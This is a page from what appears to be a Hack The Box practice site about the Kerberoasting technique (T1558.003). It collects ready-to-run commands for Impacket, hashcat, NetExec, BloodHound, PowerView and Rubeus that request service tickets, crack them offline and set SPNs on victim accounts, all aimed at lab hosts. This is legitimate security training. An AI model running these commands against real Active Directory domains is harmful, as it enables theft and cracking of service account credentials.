Search everything Ctrl K
T1558.003

Kerberoasting

Sub-technique of T1558 Steal or Forge Kerberos Tickets

Requesting service tickets for accounts with an SPN and cracking the service account's password offline.

How it shows up on Hack The Box

Any domain user can do it. If you have write access over a user, you can set an SPN on it (targeted kerberoasting) and crack its password the same way.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Windows and Active Directory privilege escalation › Active Directory

Kerberoasting 
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request

Crack with hashcat -m 13100.

Active Directory in depth › BloodHound

Kerberoastable users (they have an SPN) 
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames

Active Directory in depth › Impacket

Kerberoasting Attacker 
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt

Crack it: hashcat -m 13100 kerberoast.txt rockyou.txt

Hashcat › Most used modes

Kerberoasting (TGS-REP RC4) 
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

NetExec (nxc) › Kerberos and credentials

Kerberoasting 
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --kerberoasting kerberoast.txt

PowerView › Enumerate

Users with an SPN (kerberoastable) Target 
Get-DomainUser -SPN | select samaccountname,serviceprincipalname

PowerView › Abusing ACLs

Set an SPN to kerberoast it (targeted kerberoasting) Target 
Set-DomainObject -Identity victima -Set @{serviceprincipalname='pwn/pwn'} -Credential $cred

Rubeus › Roasting

Kerberoasting Target 
.\Rubeus.exe kerberoast /outfile:kerberoast.txt

Tools